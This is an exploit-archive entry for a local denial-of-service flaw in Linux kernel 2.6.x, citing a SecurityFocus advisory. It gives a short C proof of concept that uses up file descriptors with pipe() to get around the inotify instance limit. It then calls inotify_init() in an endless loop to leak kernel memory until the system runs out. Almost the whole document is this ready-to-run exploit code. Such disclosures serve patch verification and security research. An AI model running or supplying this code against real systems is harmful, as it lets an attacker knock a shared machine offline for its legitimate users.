Linux Kernel 2.6.x - 'inotify_init()' Memory Leak Local Denial of Service
/*
source: https://www.securityfocus.com/bid/45036/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users.
*/
#include <sys/inotify.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int fds[2];
/* Circumvent max inotify instances limit */
while (pipe(fds) != -1)
;
while (1)
inotify_init();
return 0;
}